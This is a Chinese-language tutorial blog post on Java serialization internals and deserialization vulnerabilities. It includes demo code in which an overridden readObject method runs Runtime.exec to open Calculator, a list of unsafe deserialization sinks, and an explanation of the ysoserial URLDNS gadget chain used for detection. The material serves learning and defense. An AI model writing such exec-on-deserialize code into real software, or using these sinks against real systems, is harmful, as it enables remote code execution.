Java在JDK1.1(1997年)时就内置了对象反序列化(java.io.ObjectInputStream)支持。Java对象序列化指的是将一个Java类实例序列化成字节数组,用于存储对象实例化信息:类成员变量和属性值。 Java反序列化可以将序列化后的二进制数组转换为对应的Java类实例

Java序列化对象因其可以方便的将对象转换成字节数组,又可以方便快速的将字节数组反序列化成Java对象而被非常频繁的被用于Socket传输。 在RMI(Java远程方法调用-Java Remote Method Invocation)JMX(Java管理扩展-Java Management Extensions)服务中对象反序列化机制被强制性使用。在Http请求中也时常会被用到反序列化机制,如:直接接收序列化请求的后端服务、使用Base编码序列化字节字符串的方式传递等。

整个过程都是 Java 虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象。

在Java中实现对象反序列化非常简单,实现java.io.Serializable(内部序列化)java.io.Externalizable(外部序列化)接口即可被序列化,其中java.io.Externalizable接口只是实现了java.io.Serializable接口。

ACED:STREAM_MAGIC,声明使用了序列化协议,从这里可以判断保存的内容是否为序列化数据。

除此之外,反序列化类对象是不会调用该类构造方法的,因为在反序列化创建类实例时使用了sun.reflect.ReflectionFactory.newConstructorForSerialization创建了一个反序列化专用的Constructor(反射构造方法对象),使用这个特殊的Constructor可以绕过构造方法创建类实例(sun.misc.Unsafe 使用allocateInstance方法也可以实现绕过构造方法创建类实例)。

使用反序列化方式在不调用类构造方法的情况下创建类实例:

package com.anbai.sec.serializes;

import sun.reflect.ReflectionFactory;

import java.lang.reflect.Constructor;

public class ReflectionFactoryTest {

    public static void main(String[] args) {
        try {
            // 获取sun.reflect.ReflectionFactory对象
            ReflectionFactory factory = ReflectionFactory.getReflectionFactory();

            // 使用反序列化方式获取DeserializationTest类的构造方法
            Constructor constructor = factory.newConstructorForSerialization(
                    DeserializationTest.class, Object.class.getConstructor()
            );

            // 实例化DeserializationTest对象
            System.out.println(constructor.newInstance());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

ObjectInputStream、ObjectOutputStream

transient: 暂时性修饰符,修饰的属性将不会被序列化

一个类的对象要想序列化成功,必须满足两个条件:

  1. 被反序列化的类必须存在。
  2. 该类必须实现 java.io.Serializable 接口。
  3. 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
  4. serialVersionUID值必须一致。

java.io.ObjectOutputStream类最核心的方法是writeObject方法,即序列化类对象。

java.io.ObjectInputStream类最核心的功能是readObject方法,即反序列化类对象。

所以,只需借助ObjectInputStreamObjectOutputStream类我们就可以实现类的序列化和反序列化功能了。

java.io.Serializable

java.io.Serializable是一个空的接口,我们不需要实现java.io.Serializable的任何方法,代码如下:

public interface Serializable {
}

其实实现java.io.Serializable接口仅仅只用于标识这个类可序列化。实现了java.io.Serializable接口的类原则上都需要生产一个serialVersionUID常量,反序列化时如果双方的serialVersionUID不一致会导致InvalidClassException 异常。如果可序列化类未显式声明 serialVersionUID,则序列化运行时将基于该类的各个方面计算该类的默认 serialVersionUID值。

demo:

package com.anbai.sec.serializes;

import java.io.*;
import java.util.Arrays;

public class DeserializationTest implements Serializable {

    private String username;

    private String email;

    // 省去get/set方法....

    public static void main(String[] args) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        try {
            // 创建DeserializationTest类,并类设置属性值
            DeserializationTest t = new DeserializationTest();
            t.setUsername("yz");
            t.setEmail("admin@javaweb.org");

            // 创建Java对象序列化输出流对象
            ObjectOutputStream out = new ObjectOutputStream(baos);

            // 序列化DeserializationTest类
            out.writeObject(t);
            out.flush();
            out.close();

            // 打印DeserializationTest类序列化以后的字节数组,我们可以将其存储到文件中或者通过Socket发送到远程服务地址
            System.out.println("DeserializationTest类序列化后的字节数组:" + Arrays.toString(baos.toByteArray()));

            // 利用DeserializationTest类生成的二进制数组创建二进制输入流对象用于反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

            // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
            ObjectInputStream in = new ObjectInputStream(bais);

            // 反序列化输入流数据为DeserializationTest对象
            DeserializationTest test = (DeserializationTest) in.readObject();
            System.out.println("用户名:" + test.getUsername() + ",邮箱:" + test.getEmail());

            // 关闭ObjectInputStream输入流
            in.close();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

执行结果:

java.io.Externalizable

java.io.Externalizablejava.io.Serializable几乎一样,只是java.io.Externalizable接口定义了writeExternalreadExternal方法需要序列化和反序列化的类实现,其余的和java.io.Serializable并无差别。

自定义序列化(writeObject)和反序列化(readObject)

实现了java.io.Serializable接口的类,还可以定义如下方法(反序列化魔术方法),这些方法将会在类序列化或反序列化过程中调用:

  1. private void writeObject(ObjectOutputStream oos),自定义序列化。
  2. private void readObject(ObjectInputStream ois),自定义反序列化。
  3. private void readObjectNoData()
  4. protected Object writeReplace(),写入时替换对象。
  5. protected Object readResolve()

具体的方法名定义在java.io.ObjectStreamClass#ObjectStreamClass(java.lang.Class),其中方法有详细的声明。

demo:

public class DeserializationTest implements Serializable {

/**
     * 自定义反序列化类对象
     *
     * @param ois 反序列化输入流对象
     * @throws IOException            IO异常
     * @throws ClassNotFoundException 类未找到异常
     */
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        System.out.println("readObject...");

        // 调用ObjectInputStream默认反序列化方法
        ois.defaultReadObject();

        // 省去调用自定义反序列化逻辑...
    }

    /**
     * 自定义序列化类对象
     *
     * @param oos 序列化输出流对象
     * @throws IOException IO异常
     */
    private void writeObject(ObjectOutputStream oos) throws IOException {
        oos.defaultWriteObject();

        System.out.println("writeObject...");
        // 省去调用自定义序列化逻辑...
    }

    private void readObjectNoData() {
        System.out.println("readObjectNoData...");
    }

    /**
     * 写入时替换对象
     *
     * @return 替换后的对象
     */
    protected Object writeReplace() {
        System.out.println("writeReplace....");

        return null;
    }

    protected Object readResolve() {
        System.out.println("readResolve....");

        return null;
    }
}

当我们对DeserializationTest类进行序列化操作时,会自动调用(反射调用)该类的writeObject(ObjectOutputStream oos)方法,对其进行反序列化操作时也会自动调用该类的readObject(ObjectInputStream)方法,也就是说我们可以通过在待序列化或反序列化的类中定义readObjectwriteObject方法,来实现自定义的序列化和反序列化操作,当然前提是,被序列化的类必须有此方法,并且方法的修饰符必须是private

readObject()方法

JAVA反序列化RCE的三要素(readobject反序列化利用点 + 利用链 + RCE触发点)

我们可以通过(readobject反序列化利用点 + DNS查询)来确认readobject反序列化利用点的存在。

实现了java.io.Serializable接口的类还可以定义如下方法(反序列化魔术方法)将会在类序列化和反序列化过程中调用:

  • private void writeObject(ObjectOutputStream oos),自定义序列化
  • private void readObject(ObjectInputStream ois),自定义反序列化

readObject()方法被重写的的话,反序列化该类时调用便是重写后的readObject()方法。如果该方法书写不当的话就有可能引发恶意代码的执行:

demo:

import java.io.*;
public class test{
    public static void main(String args[]) throws Exception{

        UnsafeClass Unsafe = new UnsafeClass();
        Unsafe.name = "unsafe class";

        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将Unsafe对象写入object文件
        os.writeObject(Unsafe);
        os.close();
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}

class UnsafeClass implements Serializable{
    public String name;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        in.defaultReadObject();
        //执行命令
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
}

一些反序列化函数:

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

URLDNS

URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

ysoserial中列出的Gadget:

Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

原理:

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

Reference

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值